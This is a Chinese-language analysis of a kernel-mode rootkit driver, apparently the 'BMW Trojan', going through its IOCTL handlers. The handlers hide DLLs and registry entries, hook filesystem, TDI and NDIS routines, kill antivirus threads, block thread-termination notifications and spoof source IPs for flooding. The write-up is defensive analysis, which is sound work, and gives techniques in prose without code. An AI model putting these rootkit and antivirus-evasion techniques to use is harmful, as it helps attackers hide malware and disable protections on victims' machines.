传入MmGetSystemRoutineAddress在内核空间的地址,用于获取内核导出符号(函数和变量)的地址,符号列表IoDriverObjectTypeZwCreateKeyZwSetValueKeyObReferenceObjectByNamePsLookupProcessByProcessIdZwOpenKey

传入以下函数地址并保存前0x0C个字节Opcode,这些函数会被inline hook,保存的Opcode用于恢复。函数列表MmFlushImageSectionKeInitializeApcKeInsertQueueApcKiInsertQueueApcMmFlushImageSectionIoGetAttachedDevice

传入不同操作系统版本下ThreadListHeadOffsetInEPROCESSThreadListEntryOffsetInETHREAD,用于枚举目标进程的线程;

传出KeServiceDescriptorTable.ServiceTableBaseKiServiceTable)和KeServiceDescriptorTable.NumberOfServices,用于定位文件ntkrnlpa.exeKiServiceTable VA,恢复内存中的SSDT

0x22240B

使用传入的从内核文件读取的修正为内核地址空间的KiServiceTable恢复SSDT

0x22240F

隐藏DLL module,主要分三部分。

1 将模块LDR_MODULEEPROCESS->PEB->PEB_LDR_DATA的三个ModuleList中脱链;

2 遍历EPROCESS->VadRoot树,找到模块对应的节点,置零该节点的ControlArea->FileName

3 清零模块加载后的包括文件头在内的前0x2C0字节;

0x222413

Hook \\FileSystem\\NTFS\\FileSystem\\FATFS文件系统驱动。具体是通过ObReferenceObjectByName()得到FsDriverObjectHookIRP_MJ_CARETEIRP_MJ_DIRECTORY_CONTROL Dispatch例程,禁止除自身线程以外的其他线程访问system32目录下的驱动;

0x222417

返回本驱动文件名;

0x222418

KillAntiVirus功能,杀死杀软进程内所有线程。

通过传入的杀软进程Id使用PsLookupProcessByProcessId得到EPROCESS结构,遍历ThreadListHead 链表,通过ThreadListEntryOffsetInETHREAD偏移计算ETHREAD地址;然后使用保存的Opcode比较判断PspTermanateThreadByPointerKeInsertQueueApcKiInsertQueueApc是否被Hook,若被inline hook,则恢复;然后调用PspTermanateThreadByPointer结束线程。

0x22241C:

设置注册表键值;

0x222420

使用已有的Hook注册表pfGetCellRoutine方法隐藏注册表项,主要用于隐藏病毒Service DLL注册表项。

具体是调用ZwOpenKey打开注册表项hKey,使用ObReferenceObjectByHandle(hKey)得到PCM_KEY_BODY,进而从其KeyControlBlock字段中得到KeyCellKeyHive字段,Hook KeyHiveGetCellRoutine;维护一个Service DLL注册表项列表,每次将要打开注册表项和列表中项比较,匹配则隐藏。

0x222424

Inline hook KeInitializeApc,辅以NormalContext用于阻止TerminateThread Notify

具体做法是应用程序调用TerminateThread时将Parameter设置为0xE1F27272标识,内核会分配KAPC,并将KAPC.NormalContext设置为0xE1F27272;执行到Hook代码时,比较进程是否是病毒自身进程和标识是否是0xE1F27272,若是则设置KAPC.Inserted1,阻止KAPC插入APC队列,从而KernelRoutine不被回调,系统不被通知。

0x222428

删除设备引用名,恢复系统;

0x22242C

Inline Hook TDI tcpip.sys IRP_MJ_INTERNAL_DEVICE_CONTROL:TDI_SEND_DATAGRAM

根据对其缓冲区的操作看,缓冲区中应该是DNS查询或应答的信息,对缓冲器中内容做运算,其值在阻止域名运算值列表中比对,用于阻止某些网站的域名查询。

但是缓冲区中DNS协议的16位标志字段是0x7080,正常DNS查询应该是0x0100,所以起不到阻止作用,好像是bug

0x222430

Inline hook MmFlushImageSectionIoGetAttachedDevice,保存FileSystem驱动的MajorFunction表以用于恢复。

MmFlushImageSectionHook-如果FileSystemDriverMajorFunctionHook过(病毒会Hook IRP_MJ_CARETEIRP_MJ_DIRECTORY_CONTROL两个Dispatch),则首先用保存的备份恢复MajorFunction表;然后当访问线程是病毒自身且为MmFlushForDelete时,返回TRUE,强力删除文件;其余线程正常;

IoGetAttachedDeviceHook-当访问线程是病毒自身,且设备驱动是FileSystemDriver时,不返回最顶层设备,而是直接返回底层\\FileSystem\\NTFS\\FileSystem\\FASTFAT设备;

0x222434

Inline Hook NdisMSendHandler,主要功能是填充RawIP分组,做源IP欺骗;

NdisMSendHandlerHook的主要功能首先检测数据包是不是IP数据包(Version-Length:0x45)和Protocol字段是否为0(应用程序创建RawIP+IPROTO_IP时,Protocol0);

若是,则检测第一个包最后双字是不是0x01010402(TCP options),若是,则将IP报头Protocol字段设置为TCP(0x06);若不是0x01010402,则强制设置协议类型为UDP,并且设置source IP为包最后双字,然后重新计算IP头校验和,交原来MSendHandler发送。

流程图从略

因为0x01010402(TCP options)主要是出现在TCP建立连接的三次握手阶段,所以除TCP_SYN报文外,除非TCP发送字节等于SOURCE IPADDR才会正确表明本机,但仍然被修改为UDP数据报。可以用于TCP半连接打开端口检测。

配合应用程序使用SOCK_RAWIP+IPROTO_IP socket,一方面半连接,一方面隐藏源地址,TCP报文变UDP数据报,做IP Blood攻击。

0x2A0000

没有相关实现。

 

参考书籍/文档

<PE File Format>

<TCPIP Stack>

<Windows驱动程序模型 - WDM>

<I386 Architecture>

<I386汇编语言>

<Option ROM  Expansion Card BIOS Information>

<IME/PEB/APC/SSDT/NDIS/VAD/MBR/DBR>

 

                                                  By udsnocriz

你可能感兴趣的:(BMW Trojan 样本分析)